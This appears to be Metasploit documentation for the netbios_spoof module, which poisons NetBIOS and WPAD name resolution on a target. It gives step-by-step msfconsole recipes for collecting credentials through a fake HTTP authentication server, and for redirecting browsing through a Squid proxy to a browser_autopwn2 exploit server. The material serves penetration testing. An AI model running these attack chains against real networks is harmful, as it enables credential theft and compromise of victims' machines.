documentation/modules/auxiliary/admin/netbios/netbios_spoof.md
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. By default, the module will attempt to poison WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal sensitive information, or obtain arbitrary code execution.
Windows is the most ideal target because it supports WPAD by default.
The address that the NetBIOS name (NBNAME) should resolve to.
The NetBIOS name to spoof a reply for.
The rate at which to send NetBIOS replies.
Credential Collection Attack Using Targeted NetBIOS Spoofing:
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -quse auxiliary/server/capture/http_basicset REALM google.comset URIPATH /runStep 2: Start the second Metasploit instance:
rvmsudo ./msfconsole -quse auxiliary/admin/netbios/netbios_spoofset NBADDR [IP to fake HTTP auth server]set PPSRATE 30000set RHOST [Target Host]runStep 3: On the victim machine:
If the spoofed name has already been cached, you can do this to flush. And then next time IE will be asked for credentials again.
ipconfig /flushdns
Arbitrary Code Execution Using Targeted NetBIOS Spoofing:
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -quse auxiliary/server/browser_autopwn2set SRVPORT 8181runRemember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
Step 2: Install Squid Proxy server (or SquidMan if you use OS X), and edit the configuration file:
First, uncomment these settings if they are found in the file:
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn URL field:
acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork
Step 3: Start the second Metasploit instance:
rvmsudo ./msfconsole -quse auxiliary/server/wpadset PROXY [Proxy IP]set PROXYPORT 8080runStep 4: Start the third Metasploit instance:
rvmsudo ./msfconsole -quse auxiliary/admin/netbios/netbios_spoofset NBADDR [IP to fake HTTP server]set PPSRATE 30000set RHOST [Target Host]runStep 5: On the victim machine:
If the spoofed name has already been cached, you can do this to flush.
ipconfig /flushdns